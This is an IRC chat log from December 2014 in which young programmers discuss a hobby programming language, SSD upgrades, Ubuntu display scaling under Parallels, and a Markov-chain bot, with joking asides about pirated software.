[2014-12-18T17:25:01-0500] <@awe> And that still doesn't change the fact that you never verify the validity of your code.
[2014-12-18T17:25:08-0500] <+JacobEdelman> it works
[2014-12-18T17:25:27-0500] <@awe> It works in the exact cases where you use it.
[2014-12-18T17:25:33-0500] <@awe> You have no idea about edge cases.
[2014-12-18T17:25:50-0500] <+JacobEdelman> eh, there are no edge cases
[2014-12-18T17:25:52-0500] <+JacobEdelman> not really
[2014-12-18T17:26:17-0500] <+JacobEdelman> its not like a program with a bunch of features (like awebot) yet
[2014-12-18T17:26:24-0500] <+JacobEdelman> its just the very basic core of a language
[2014-12-18T17:26:55-0500] <+JacobEdelman> but I'm halfway to the point where I will be able to write a legit program in my language
[2014-12-18T17:27:01-0500] <+JacobEdelman> :p
[2014-12-18T17:27:03-0500] <+JacobEdelman> *:P
[2014-12-18T17:28:01-0500] <@awe> I can almost guarantee you already have edge cases.
[2014-12-18T17:28:38-0500] <+JacobEdelman> I updated the readme
[2014-12-18T17:28:50-0500] <+JacobEdelman> and yes, you are probaly right
[2014-12-18T17:28:54-0500] <+JacobEdelman> I'll look for them later
[2014-12-18T17:28:56-0500] <+JacobEdelman> :P
[2014-12-18T17:31:07-0500] <@awe> My friend's response to you saying there are no edge cases.
[2014-12-18T17:31:07-0500] <@awe> [17:29:25]  <&Bui>	>this paper has no edges
[2014-12-18T17:31:07-0500] <@awe> [17:29:56]  <&Bui>	Well, fuck.
[2014-12-18T17:32:16-0500] <+JacobEdelman> (I'm assuming he's too old to be on #pdgn, cause otherwise he should join)
[2014-12-18T17:32:28-0500] <+JacobEdelman> (too old= an old geezer, like, over 19)
[2014-12-18T17:33:00-0500] <@awe> Lol.
[2014-12-18T17:33:01-0500] <@awe> Yes.
[2014-12-18T17:33:20-0500] <+JacobEdelman> okay
[2014-12-18T17:33:24-0500] <@awe> Everyone on my other IRC is over 19.
[2014-12-18T17:33:32-0500] <@awe> Except one other person and myself.
[2014-12-18T17:33:56-0500] <+JacobEdelman> okay
[2014-12-18T17:34:09-0500] <+JacobEdelman> cause only people over 19 would work on a maple story emulator....
[2014-12-18T17:34:22-0500] <+JacobEdelman> @markov maple
[2014-12-18T17:34:30-0500] <+awebot> JacobEdelman: maple story emulator...).
[2014-12-18T17:34:33-0500] <+JacobEdelman> @markov maple
[2014-12-18T17:34:39-0500] <@awe> @markov maplestory
[2014-12-18T17:34:40-0500] <+awebot> JacobEdelman: maple.
[2014-12-18T17:34:47-0500] <+awebot> awe: maplestory.
[2014-12-18T17:34:50-0500] <+JacobEdelman> .....
[2014-12-18T17:34:51-0500] <@awe> @markov maplestory
[2014-12-18T17:34:58-0500] <+awebot> awe: maplestory.
[2014-12-18T17:35:05-0500] <@awe> @markov emulator
[2014-12-18T17:35:08-0500] <+JacobEdelman> hmmm... I thought it had your private chat logs?
[2014-12-18T17:35:11-0500] <+awebot> awe: emulator has to help :).
[2014-12-18T17:35:16-0500] <+JacobEdelman> @markov vana
[2014-12-18T17:35:18-0500] <@awe> I'm not even sure what it has anymore.
[2014-12-18T17:35:22-0500] <+JacobEdelman> haha
[2014-12-18T17:35:23-0500] <+awebot> JacobEdelman: vana is escape codes directly anymore, okay.
[2014-12-18T17:35:27-0500] <+JacobEdelman> its become sentient
[2014-12-18T17:35:44-0500] <+JacobEdelman> and is slowly aborbing your identity
[2014-12-18T17:35:48-0500] <+JacobEdelman> soon it will replace you
[2014-12-18T17:36:19-0500] <+JacobEdelman> *absorbing
[2014-12-18T17:37:37-0500] <@awe> Obviously.
[2014-12-18T17:38:32-0500] <@awe> @markov openmaple
[2014-12-18T17:38:37-0500] <@awe> Oh, right.
[2014-12-18T17:38:39-0500] <+awebot> awe: That seed is unknown.
[2014-12-18T17:38:40-0500] <@awe> The logs aren't that old.
[2014-12-18T17:38:50-0500] <@awe> That's why it has nothing interesting about MapleStory.
[2014-12-18T17:39:06-0500] <@awe> It only has what's been happening on ZNC.
[2014-12-18T17:41:20-0500] <+JacobEdelman> oh, okay
[2014-12-18T17:52:35-0500] <+JacobEdelman> pop quiz
[2014-12-18T17:52:52-0500] <+JacobEdelman> mSATA 120GB, better than 500GB 7200rpm, and if so, why?
[2014-12-18T17:55:13-0500] <@awe> How much space do you need?
[2014-12-18T17:56:02-0500] <@awe> JacobEdelman: also, can you give me more details about the drives?
[2014-12-18T17:56:13-0500] <@awe> Not all drives are created equal.
[2014-12-18T17:57:47-0500] <+JacobEdelman> https://system76.com/cart/configure/gazp9
[2014-12-18T17:57:57-0500] <+JacobEdelman> the primary storage
[2014-12-18T17:58:05-0500] <+JacobEdelman> I'm sending my computer in for repairs soon probaly
[2014-12-18T17:58:13-0500] <+JacobEdelman> I'm gonna see if I can get it upgraded when they do that
[2014-12-18T17:58:20-0500] <@awe> .-.
[2014-12-18T17:58:25-0500] <+JacobEdelman> ?
[2014-12-18T17:58:29-0500] <@awe> They don't tell me anything about the drives.
[2014-12-18T17:58:38-0500] <+JacobEdelman> it doesn't?
[2014-12-18T17:58:39-0500] <@awe> For a company that's catering to tech nerds...
[2014-12-18T17:58:53-0500] <@awe> It just says size.
[2014-12-18T17:59:00-0500] <+JacobEdelman> oh, yeah
[2014-12-18T17:59:06-0500] <+JacobEdelman> hmmm... they changed it
[2014-12-18T17:59:07-0500] <@awe> This is useless.
[2014-12-18T17:59:11-0500] <+JacobEdelman> they used to give more details
[2014-12-18T18:00:11-0500] <+JacobEdelman> i don't know 
[2014-12-18T18:00:17-0500] <+JacobEdelman> thats annoying
[2014-12-18T18:00:19-0500] <+JacobEdelman> its not useless
[2014-12-18T18:00:24-0500] <+JacobEdelman> I mean, they give rpm, and type
[2014-12-18T18:00:27-0500] <+JacobEdelman> and storage amount
[2014-12-18T18:00:56-0500] <@awe> It's completely useless.
[2014-12-18T18:01:03-0500] <@awe> Some SSDs are bad.
[2014-12-18T18:03:40-0500] <@awe> JacobEdelman: blindly, I'd buy the SSD.
[2014-12-18T18:03:45-0500] <@awe> JacobEdelman: unless you need the storage space.
[2014-12-18T18:04:34-0500] <+JacobEdelman> eh, but it costs like 60 bucks
[2014-12-18T18:05:00-0500] <+JacobEdelman> so I need to know if its worth upgrading that
[2014-12-18T18:05:56-0500] <@awe> Iunno. I have a 500 GB SSD.
[2014-12-18T18:06:28-0500] <@awe> And a 96 GB one in my desktop.
[2014-12-18T18:06:33-0500] <Hyper> awe: 500gb ssd club \o/
[2014-12-18T18:06:59-0500] <@awe> Hyper: do you have a Retina MBP?
[2014-12-18T18:07:04-0500] <Hyper> yeah
[2014-12-18T18:08:12-0500] • hardmath123[zzz]: is 71.4% done with finals
[2014-12-18T18:08:12-0500] <mailbot> hardmath123[zzz]: 11 hours ago, JacobEdelman said I pushed the updates so lark is pretty now.
[2014-12-18T18:08:12-0500] <mailbot> hardmath123[zzz]: 3 hours ago, JacobEdelman said is it okay if I quote you (as hardmath123) in the lark readme with "We need to force-feed JacobEdelman some JSLint." (its for a "Praise?" section).
[2014-12-18T18:08:34-0500] hardmath123[zzz] is now known as hardmath123
[2014-12-18T18:08:59-0500] <+hardmath123> JacobEdelman: yeah, sure
[2014-12-18T18:08:59-0500] <mailbot> hardmath123: 11 hours ago, JacobEdelman said I pushed the updates so it is pretty now.
[2014-12-18T18:08:59-0500] <mailbot> hardmath123: 11 hours ago, JacobEdelman said (lark).
[2014-12-18T18:08:59-0500] <mailbot> hardmath123: 3 hours ago, JacobEdelman said is it okay if I quote you (as hardmath123) in the lark readme with "We need to force-feed JacobEdelman some JSLint." (its for a "Praise?" section).
[2014-12-18T18:09:12-0500] <+hardmath123> oh gosh
[2014-12-18T18:10:12-0500] <+hardmath123> awe: can you make mailbot pm mail?
[2014-12-18T18:12:29-0500] <@awe> hardmath123: I can.
[2014-12-18T18:12:31-0500] <@awe> hardmath123: I don't want to
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[2014-12-18T18:48:50-0500] <+Tamini> ugh, i'm feeling so uncreative
[2014-12-18T18:50:31-0500] <nezorg> ugh, i'm feeling so fucking annoyed at nvidia
[2014-12-18T18:50:37-0500] <+Tamini> lol, what's up?
[2014-12-18T18:50:45-0500] <@awe> ugh, i'm feeling so jealous of tiling wms
[2014-12-18T18:50:50-0500] <+Tamini> (also hey if you're free wanna help me write a poem)
[2014-12-18T18:51:07-0500] <nezorg> I can't get my graphics working in arch :(
[2014-12-18T18:51:21-0500] <nezorg> I always have this problem when installing any distro
[2014-12-18T18:51:31-0500] <+Tamini> aw
[2014-12-18T18:51:35-0500] <+hardmath123> (sure)
[2014-12-18T18:51:53-0500] <@awe> hardmath123: ?
[2014-12-18T18:51:55-0500] <+hardmath123> my css is slowly killing me
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[2014-12-18T19:04:53-0500] <nezorg> fuck
[2014-12-18T19:04:58-0500] <nezorg> I give up for now
[2014-12-18T19:05:02-0500] <alokpathy> ?
[2014-12-18T19:05:24-0500] <nezorg> I can't get my graphics working :(
[2014-12-18T19:05:33-0500] <nezorg> Xorg.0.log doesn't report any errors
[2014-12-18T19:05:46-0500] <nezorg> but when I `startx` it just blackscreens
[2014-12-18T19:06:15-0500] <+Tamini> aww
[2014-12-18T19:07:10-0500] <@awe> Is there any possible way on Linux to set monitor DPI?
[2014-12-18T19:07:28-0500] <nezorg> sort of
[2014-12-18T19:08:03-0500] <@awe> I want to set up a VM without having it look TINY.
[2014-12-18T19:08:05-0500] <@awe> Ubuntu was super tiny.
[2014-12-18T19:08:32-0500] <nezorg> what virtualizer?
[2014-12-18T19:08:51-0500] <@awe> VMWare Fusion because Virtual Box is awful.
[2014-12-18T19:09:04-0500] <@awe> I used to really like it and then I tried VMWare and I never want to go back.
[2014-12-18T19:09:51-0500] <nezorg> I can agree virtualbox is awful
[2014-12-18T19:09:55-0500] <nezorg> it really fucks with your kernel
[2014-12-18T19:10:02-0500] <nezorg> I use parallels on os x
[2014-12-18T19:10:16-0500] <nezorg> and it handles retina just fine
[2014-12-18T19:10:34-0500] <@awe> Fusion gets the resolution right, but not the DPI.
[2014-12-18T19:10:39-0500] <@awe> Let's go pirate Parallels then.
[2014-12-18T19:10:46-0500] <@awe> I mean uhh...
[2014-12-18T19:10:50-0500] <@awe> Legally purchase Parallels.
[2014-12-18T19:11:35-0500] <@awe> Just like I legally purchased VMWare. 
[2014-12-18T19:11:38-0500] <@awe> :+1:
[2014-12-18T19:13:05-0500] <+Tamini> ;p
[2014-12-18T19:13:11-0500] <@awe> nezorg: I feel good about the seedage I do on linux distros.
[2014-12-18T19:13:17-0500] <+Tamini> like we all legally purchased IDA pro? :P
[2014-12-18T19:13:20-0500] <@awe> Yes.
[2014-12-18T19:13:22-0500] <@awe> Of course, Tamini.
[2014-12-18T19:13:26-0500] <+Tamini> (except nezorg, smh)
[2014-12-18T19:13:27-0500] <+Tamini> what a good kid
[2014-12-18T19:13:35-0500] <nezorg> I didn't either :P
[2014-12-18T19:13:44-0500] <+Tamini> well you got it through
[2014-12-18T19:13:45-0500] <alokpathy> Wow nezorg is a criminal.
[2014-12-18T19:13:46-0500] <+Tamini> legal channels
[2014-12-18T19:13:46-0500] <@awe> Well, somebody purchased it for you.
[2014-12-18T19:13:53-0500] <alokpathy> Oh, nevermind.
[2014-12-18T19:14:02-0500] <nezorg> the license I have is an individual license that the whole lab shares
[2014-12-18T19:15:03-0500] <bob_twinkles> well that was a good waste of half an hour
[2014-12-18T19:15:03-0500] <mailbot> bob_twinkles: 20 hours ago, Tamini said so can we get a german vps :O.
[2014-12-18T19:15:16-0500] <+Tamini> hm? what happened
[2014-12-18T19:15:17-0500] <+Tamini> ?
[2014-12-18T19:15:20-0500] <bob_twinkles> I now have a bunch of routines that pretty print logging information
[2014-12-18T19:15:22-0500] <@awe> nezorg: lol
[2014-12-18T19:15:24-0500] <+Tamini> lol
[2014-12-18T19:15:26-0500] <@awe> nezorg: so, even that's not legal.
[2014-12-18T19:15:33-0500] <nezorg> awe: yup!
[2014-12-18T19:15:39-0500] <+Tamini> awe: I mean, nore legal than what we're doing :P
[2014-12-18T19:15:42-0500] <+Tamini> more*
[2014-12-18T19:15:45-0500] <@awe> What?
[2014-12-18T19:15:46-0500] <@awe> No.
[2014-12-18T19:15:47-0500] <bob_twinkles> like automatic prepend of "[file_name.c:123] this is a log message"
[2014-12-18T19:15:50-0500] <@awe> I legally obtained that software.
[2014-12-18T19:15:56-0500] <+Tamini> you did?
[2014-12-18T19:16:02-0500] <@awe> Obviously.
[2014-12-18T19:16:05-0500] <@awe> I would never pirate anything.
[2014-12-18T19:16:09-0500] <+Tamini> of course.
[2014-12-18T19:16:13-0500] <bob_twinkles> it also uses ANSI terminal control codes to colorize different messages
[2014-12-18T19:16:27-0500] <+Tamini> bob_twinkles, help me write someone I don't know a poem
[2014-12-18T19:16:27-0500] <+Tamini> :(
[2014-12-18T19:16:31-0500] <@awe> bob_twinkles: aren't those not compatible with Windows?
[2014-12-18T19:16:33-0500] <+Tamini> goddammit latin
[2014-12-18T19:16:58-0500] <bob_twinkles> awe: well seeing as how I'm working on an X compositor, I don't think that will be an issue
[2014-12-18T19:17:05-0500] <@awe> Fair enough.
[2014-12-18T19:17:16-0500] <bob_twinkles> but I think cmd.exe actually does handle them
[2014-12-18T19:17:29-0500] <bob_twinkles> at least the basic color stuff
[2014-12-18T19:17:33-0500] <@awe> give me an example of one?
[2014-12-18T19:17:50-0500] <bob_twinkles> \x1b[1m
[2014-12-18T19:17:54-0500] <@awe> Yeah, they don't.
[2014-12-18T19:18:38-0500] <@awe> One of the first things I programmed after learning C++ was a text-based RPG.
[2014-12-18T19:18:41-0500] <@awe> A really bad one.
[2014-12-18T19:18:44-0500] <@awe> But it was colorful.
[2014-12-18T19:18:53-0500] <@awe> I had to learn WinAPI to get color working on Windows.
[2014-12-18T19:18:57-0500] <+hardmath123> Tamini: (sure)
[2014-12-18T19:19:05-0500] <@awe> Tamini: hardmath123 is saying he'll help you.
[2014-12-18T19:19:22-0500] <+Tamini> i know
[2014-12-18T19:19:25-0500] <+Tamini> i'm pming him :P
[2014-12-18T19:19:28-0500] <@awe> Oh, good.
[2014-12-18T19:19:30-0500] <bob_twinkles> oh, cmd.exe has its own set of control codes
[2014-12-18T19:19:33-0500] <+hardmath123> Don't colors work on PuTTY?
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[2014-12-18T19:19:35-0500] <@awe> bob_twinkles: Yeah.
[2014-12-18T19:19:41-0500] <+Tamini> I'm pretty sure I'm not allowed to make masturbation jokes at my friend for a school assignment.
[2014-12-18T19:19:44-0500] <+Tamini> which sucks
[2014-12-18T19:19:48-0500] <@awe> Why not?
[2014-12-18T19:19:52-0500] <bob_twinkles> that would be annoying if I cared about windows =P
[2014-12-18T19:20:05-0500] <@awe> Right?
[2014-12-18T19:20:08-0500] <@awe> It was super frustrating.
[2014-12-18T19:20:42-0500] <@awe> The POSIX solution was character codes, but the Windows solution was Win API because they're not constant per version.
[2014-12-18T19:20:45-0500] <@awe> Or not necessarily constant.
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[2014-12-18T19:21:29-0500] <bob_twinkles> I thought windows maintains binary compatibility between versions?
[2014-12-18T19:21:38-0500] <@awe> Right.
[2014-12-18T19:21:44-0500] <@awe> The color codes don't have to be guaranteed for that though.
[2014-12-18T19:21:53-0500] <@awe> That's why you have to use Win API.
[2014-12-18T19:21:55-0500] <bob_twinkles> not important enough?
[2014-12-18T19:22:03-0500] <@awe> nezorg: wow, parallels supports Android.
[2014-12-18T19:22:34-0500] <@awe> bob_twinkles: Well, they enforce the compatibility by making you use an API.
[2014-12-18T19:23:12-0500] <bob_twinkles> oh, ic
[2014-12-18T19:27:20-0500] <@awe> nezorg: I haven't finished installing, but I think you're wrong.
[2014-12-18T19:27:26-0500] <@awe> nezorg: I think you just don't have retina resolution on.
[2014-12-18T19:27:52-0500] <@awe> nezorg: But I'll wait till after installation to pass that judgement.
[2014-12-18T19:28:55-0500] <@awe> Mostly because it won't let me full screen the window.
[2014-12-18T19:32:12-0500] <nezorg> it works once you install the guest tools
[2014-12-18T19:32:31-0500] <@awe> Nope, it's tiny.
[2014-12-18T19:32:39-0500] <@awe> Oh.
[2014-12-18T19:33:28-0500] <@awe> nezorg: How do I do that?
[2014-12-18T19:33:42-0500] <@awe> nezorg: VMWare and Virtual Box just have a button
[2014-12-18T19:34:25-0500] <@awe> I found it.
[2014-12-18T19:34:35-0500] <+LittleBobbyTables> Where's it on sale, nezorg?
[2014-12-18T19:34:45-0500] <nezorg> steam
[2014-12-18T19:34:56-0500] <nezorg> it's the steam winter sale!
[2014-12-18T19:34:56-0500] <@awe> And then if this works, I have to uninstall half of the software bundled with Ubuntu.
[2014-12-18T19:35:02-0500] <+LittleBobbyTables> ;o
[2014-12-18T19:35:03-0500] <@awe> Because: Why Ubuntu why?
[2014-12-18T19:35:30-0500] <+LittleBobbyTables> I'm getting a new monitor and keyboard for christmas <3
[2014-12-18T19:36:10-0500] <+Tamini> wait, what's on sale
[2014-12-18T19:36:10-0500] <+Tamini> :O
[2014-12-18T19:36:14-0500] <@awe> nezorg: Nope. Still tiny.
[2014-12-18T19:36:15-0500] <+LittleBobbyTables> ur mom
[2014-12-18T19:36:19-0500] <+Tamini> no u
[2014-12-18T19:36:22-0500] <+LittleBobbyTables> pls
[2014-12-18T19:36:27-0500] <+LittleBobbyTables> I never go on sale
[2014-12-18T19:36:30-0500] <+LittleBobbyTables> I'm always full priced
[2014-12-18T19:36:47-0500] <nezorg> awe: did you reboot the guest?
[2014-12-18T19:36:50-0500] <@awe> Yes.
[2014-12-18T19:36:59-0500] <+Tamini> but you're cheap to begin with amirite
[2014-12-18T19:37:06-0500] <@awe> I can do 1280x800 and get full-sized blurry crap.
[2014-12-18T19:37:08-0500] <@awe> But I want 2560x1600
[2014-12-18T19:37:10-0500] <nezorg> did you change the setting in ubuntu?
[2014-12-18T19:37:13-0500] <nezorg> yeah
[2014-12-18T19:37:18-0500] <+LittleBobbyTables> Tamini: yeah :(
[2014-12-18T19:37:19-0500] <nezorg> there should be a slider somewhere
[2014-12-18T19:37:25-0500] <@awe> nezorg: the scale slider?
[2014-12-18T19:37:35-0500] <nezorg> something like that
[2014-12-18T19:37:52-0500] <@awe> .-.
[2014-12-18T19:37:58-0500] <+LittleBobbyTables> nezorg: you know that one ASUS 144Hz monitor?
[2014-12-18T19:38:02-0500] <@awe> It does nothing in Parallels.
[2014-12-18T19:38:05-0500] <nezorg> mm?
[2014-12-18T19:38:06-0500] <@awe> In VMWare, it just made the UI bigger.
[2014-12-18T19:38:10-0500] <@awe> It didn't actually help.
[2014-12-18T19:38:13-0500] <@awe> Websites were still tiny.
[2014-12-18T19:38:20-0500] <nezorg> awe: well, worked fine here...
[2014-12-18T19:38:21-0500] <+LittleBobbyTables> I'm getting that one ^_^
[2014-12-18T19:38:28-0500] <nezorg> nice :P
[2014-12-18T19:38:57-0500] <@awe> nezorg: So, you can confirm that you can view websites at the intended size on 2560x1600 resolution in Parallels?
[2014-12-18T19:39:02-0500] <@awe> nezorg: without zooming in?
[2014-12-18T19:39:09-0500] <nezorg> LittleBobbyTables: 1080p or 1440p?
[2014-12-18T19:39:16-0500] <+LittleBobbyTables> http://www.amazon.com/VG248QE-24-inch-LED-lit-Monitor-response/dp/B00B2HH7G0/ref=sr_1_1?ie=UTF8&qid=1418949512&sr=8-1&keywords=asus+144hz
[2014-12-18T19:39:24-0500] <nezorg> awe: pretty sure, I haven't tried it in a while
[2014-12-18T19:39:35-0500] <+LittleBobbyTables> 1080p I'm pretty sure
[2014-12-18T19:39:44-0500] <nezorg> ah
[2014-12-18T19:39:52-0500] <+LittleBobbyTables> True Resolution 	1920x1080 
[2014-12-18T19:40:03-0500] <+LittleBobbyTables> I wouldn't run 1440 on 144Hz anyway
[2014-12-18T19:40:56-0500] <+LittleBobbyTables> I can watch it in 3D now <3
[2014-12-18T19:46:31-0500] <@awe> Is there a way to tell X my physical screen size?
[2014-12-18T19:46:34-0500] <@awe> That might help.
[2014-12-18T19:57:07-0500] <@awe>   dimensions:    2560x1600 pixels (271x203 millimeters)
[2014-12-18T19:57:07-0500] <@awe>   resolution:    240x200 dots per inch
[2014-12-18T19:57:08-0500] <@awe> nezorg: ^
[2014-12-18T19:57:10-0500] <@awe> nezorg: I don't understand.
[2014-12-18T19:57:15-0500] <@awe> nezorg: That looks accurate for DPI.
[2014-12-18T19:57:47-0500] <@awe> Apple reports 227 ppi.
[2014-12-18T20:16:32-0500] <@awe> nezorg: help me because neither anyone else nor the internet can.
[2014-12-18T20:21:58-0500] <+LittleBobbyTables> What'd you break, awe
[2014-12-18T20:22:08-0500] <@awe> I JUST WANT TO USE UBUNTU WITHOUT IT BEING TINY
[2014-12-18T20:22:40-0500] <+LittleBobbyTables> Did you install gust partitions
[2014-12-18T20:22:53-0500] <+LittleBobbyTables> guest*
[2014-12-18T20:22:55-0500] <@awe> Yes.
[2014-12-18T20:23:07-0500] <+LittleBobbyTables> How?
[2014-12-18T20:23:17-0500] <@awe> I pressed the Parallels thing for it.
[2014-12-18T20:23:17-0500] <+LittleBobbyTables> Cause there was some dumb way you had to do it iirc
[2014-12-18T20:23:25-0500] <+LittleBobbyTables> Do it from terminal
[2014-12-18T20:23:28-0500] <@awe> ???
[2014-12-18T20:23:38-0500] <+LittleBobbyTables> Add the CD
[2014-12-18T20:23:42-0500] <+LittleBobbyTables> Navigate to location
[2014-12-18T20:23:44-0500] <+LittleBobbyTables> Then install
[2014-12-18T20:23:49-0500] <@awe> The installer popped open though
[2014-12-18T20:23:51-0500] <@awe> and it all worked.
[2014-12-18T20:24:00-0500] <+LittleBobbyTables> Try it anyway.
[2014-12-18T20:24:14-0500] <+LittleBobbyTables> It happened to me before
[2014-12-18T20:24:18-0500] <+LittleBobbyTables> In VMWare, but still.
[2014-12-18T20:24:53-0500] <@awe> I don't know how to add the CD.
[2014-12-18T20:25:01-0500] <@awe> In Parallels, it doesn't appear to do that.
[2014-12-18T20:25:20-0500] <@awe> I must've broken something.
[2014-12-18T20:25:21-0500] <+LittleBobbyTables> What's it called in Parallels?
[2014-12-18T20:25:30-0500] <@awe> Now the screen just shows up black.
[2014-12-18T20:25:59-0500] <@awe> Parallels Tools
[2014-12-18T20:26:55-0500] <+LittleBobbyTables> Virtual Machine, Install Parallels Tools, and it should add the Cd
[2014-12-18T20:27:22-0500] <@awe> Yeah, I'm trying again from scratch.
[2014-12-18T20:31:09-0500] <+JacobEdelman> malbot, any messages?
[2014-12-18T20:31:14-0500] <+JacobEdelman> *mailbot
[2014-12-18T20:31:42-0500] <@awe> JacobEdelman: guess not.
[2014-12-18T20:31:54-0500] <+JacobEdelman> ahhh
[2014-12-18T20:31:54-0500] <mailbot> JacobEdelman: Moments ago, awe said You suck.
[2014-12-18T20:31:58-0500] <+JacobEdelman> ...
[2014-12-18T20:31:59-0500] <@awe> JacobEdelman: I'm frustrated with Ubuntu right now.
[2014-12-18T20:32:00-0500] <@awe> :D
[2014-12-18T20:32:08-0500] <+JacobEdelman> aww, I love you too :P
[2014-12-18T20:32:18-0500] <+JacobEdelman> nothing is ever wrong with ubuntu
[2014-12-18T20:32:23-0500] <+JacobEdelman> something may be wrong with you
[2014-12-18T20:32:26-0500] <+JacobEdelman> but not ubuntu
[2014-12-18T20:32:32-0500] <@awe> I can't get it to support my Retina display in a way that's not just super tiny text.
[2014-12-18T20:32:33-0500] <+Tamini> aw, jacob
[2014-12-18T20:32:37-0500] <+Tamini> dont be mean to awe.
[2014-12-18T20:32:40-0500] <@awe> .-.
[2014-12-18T20:32:42-0500] <+JacobEdelman> wait, what?
[2014-12-18T20:32:42-0500] <+Tamini> also i don't think
[2014-12-18T20:32:49-0500] <+JacobEdelman> what did I do?
[2014-12-18T20:32:57-0500] <+Tamini> WHAT THE FUCK RHYMES WITH LEFT 
[2014-12-18T20:33:01-0500] <+JacobEdelman> and I'm fairly sure you do thing
[2014-12-18T20:33:01-0500] <+Tamini> is an appropriate way to end my poem
[2014-12-18T20:33:02-0500] <+Tamini> :(
[2014-12-18T20:33:07-0500] <+JacobEdelman> bereft
[2014-12-18T20:33:17-0500] <alokpathy> Deft 
[2014-12-18T20:33:26-0500] <+JacobEdelman> heft
[2014-12-18T20:33:36-0500] <+Tamini> well
[2014-12-18T20:33:39-0500] <alokpathy> Cleft 
[2014-12-18T20:33:40-0500] <+Tamini> that makes sense in condext
[2014-12-18T20:33:49-0500] <alokpathy> What context?
[2014-12-18T20:33:51-0500] <+LittleBobbyTables> What's the context then
[2014-12-18T20:33:52-0500] <+LittleBobbyTables> lol
[2014-12-18T20:33:53-0500] <+hardmath123> Tamini: still working on the poem? :P
[2014-12-18T20:33:53-0500] <+JacobEdelman> theft
[2014-12-18T20:34:03-0500] <+JacobEdelman> (ben came up with that one)
[2014-12-18T20:34:13-0500] <alokpathy> Makes sense. He's the NSA.
[2014-12-18T20:34:37-0500] <+LittleBobbyTables> Words and phrases that rhyme with left:   (12 results)
[2014-12-18T20:34:37-0500] <+LittleBobbyTables> 1 syllable:
[2014-12-18T20:34:37-0500] <+LittleBobbyTables> cleft, deft, effed, heft, klepht, kreft, neft, tefft, theft
[2014-12-18T20:34:37-0500] <+LittleBobbyTables> 2 syllables:
[2014-12-18T20:34:37-0500] <+LittleBobbyTables> bereft, gill cleft
[2014-12-18T20:34:37-0500] <+LittleBobbyTables> 3 syllables:
[2014-12-18T20:34:37-0500] <+LittleBobbyTables> antitheft
[2014-12-18T20:34:47-0500] <+Tamini> hardmath123: my ex is helping me write it
[2014-12-18T20:34:52-0500] <+Tamini> yes, i have reached that point of desperation
[2014-12-18T20:34:57-0500] <+Tamini> on the other hand, it's super good now
[2014-12-18T20:34:58-0500] <+Tamini> LOL
[2014-12-18T20:36:03-0500] <@awe> JacobEdelman: Why doesn't the scale feature in the display settings work?
[2014-12-18T20:39:10-0500] <+JacobEdelman> cause it doesn't like retina
[2014-12-18T20:39:12-0500] <+JacobEdelman> blame apple
[2014-12-18T20:39:54-0500] <+JacobEdelman> hmmmm...
[2014-12-18T20:39:57-0500] <+JacobEdelman> I just had an idea
[2014-12-18T20:40:02-0500] <+JacobEdelman> for the most popular channell
[2014-12-18T20:40:09-0500] <+JacobEdelman> that will ever be on irc.pdgn.co
[2014-12-18T20:41:08-0500] <+JacobEdelman> #awe_fan_club
[2014-12-18T20:41:10-0500] <+JacobEdelman> is now open
[2014-12-18T20:41:23-0500] <+Tamini> lol
[2014-12-18T20:41:28-0500] <+JacobEdelman> you gotta join
[2014-12-18T20:41:53-0500] <+JacobEdelman> but only true fans of awe allowed
[2014-12-18T20:41:58-0500] <+JacobEdelman> so awe himself is not allowed
[2014-12-18T20:42:03-0500] <+JacobEdelman> seeing as he is so humile
[2014-12-18T20:42:08-0500] <+JacobEdelman> (thats my word of the minute)
[2014-12-18T20:42:10-0500] <+JacobEdelman> humile
[2014-12-18T20:42:27-0500] <@awe> Oh, okay.
[2014-12-18T20:43:06-0500] <+JacobEdelman> HUMILE IS A LEGIT WORD
[2014-12-18T20:43:09-0500] <+JacobEdelman> the internet says so
[2014-12-18T20:43:15-0500] <+JacobEdelman> I'm so happy
[2014-12-18T20:43:44-0500] <alokpathy> Jacob's day has been made.
[2014-12-18T20:44:12-0500] <+hardmath123> Jasminum humile (Italian jasmine or yellow jasmine) is a species of flowering plant in the Oleaceae family.
[2014-12-18T20:47:38-0500] <@awe> LittleBobbyTables: found guide with command-line instructions for parallels tools
[2014-12-18T20:47:41-0500] <@awe> LittleBobbyTables: hopefully this will work.
[2014-12-18T20:48:33-0500] <@awe> LittleBobbyTables: well, it's not black now.
[2014-12-18T20:48:39-0500] <+LittleBobbyTables> Is it white
[2014-12-18T20:48:51-0500] <+Tamini> JacobEdelman, sweetie
[2014-12-18T20:49:04-0500] <+Tamini> why are you telling people about my picture of awe
[2014-12-18T20:49:22-0500] <@awe> LittleBobbyTables: no, it loads the background properly.
[2014-12-18T20:49:23-0500] • hardmath123: had nothing to do with this, right Jacob? *wink*
[2014-12-18T20:49:29-0500] <+LittleBobbyTables> Oh, ok
[2014-12-18T20:54:46-0500] <+The_Master> @markov
[2014-12-18T20:54:55-0500] <+awebot> The_Master: hei.
[2014-12-18T20:54:58-0500] <+The_Master> @markov
[2014-12-18T20:55:06-0500] <+awebot> The_Master: I get paid.
[2014-12-18T20:55:18-0500] <+The_Master> awebot: How much?
[2014-12-18T20:55:20-0500] <+LittleBobbyTables> @markov sex
[2014-12-18T20:55:26-0500] <+Tamini> @markov
[2014-12-18T20:55:29-0500] <+awebot> LittleBobbyTables: sex joke thank you..
[2014-12-18T20:55:38-0500] <+awebot> Tamini: Each one that you need to the trackpad thing in the back in like this won't be 0,2 or deallocated.
[2014-12-18T20:59:41-0500] <+JacobEdelman> ....
[2014-12-18T20:59:46-0500] <+The_Master> @markov LittleBobbyTables
[2014-12-18T20:59:54-0500] <+awebot> The_Master: LittleBobbyTables (Y: 2, 3]; {let v in.
[2014-12-18T20:59:58-0500] <+The_Master> @markov JacobEdelman 
[2014-12-18T21:00:06-0500] <+awebot> The_Master: JacobEdelman have to deop hardmath123..
[2014-12-18T21:00:10-0500] <jwoglom> @markov jwoglras1 
[2014-12-18T21:00:12-0500] <+JacobEdelman> The_Master: you have 15 seconds
[2014-12-18T21:00:14-0500] <+The_Master> @markov awe
[2014-12-18T21:00:15-0500] <jwoglom> @markov jwoglom
[2014-12-18T21:00:19-0500] <+awebot> jwoglom: That seed is unknown.
[2014-12-18T21:00:27-0500] <+awebot> The_Master: awe.
[2014-12-18T21:00:30-0500] <+JacobEdelman> no one ever said your name
[2014-12-18T21:00:36-0500] <+awebot> jwoglom: jwoglom | b.
[2014-12-18T21:00:40-0500] <+The_Master> gn
[2014-12-18T21:00:48-0500] <jwoglom> JacobEdelman: i accidentally pinged jwoglras1 who has never spoke
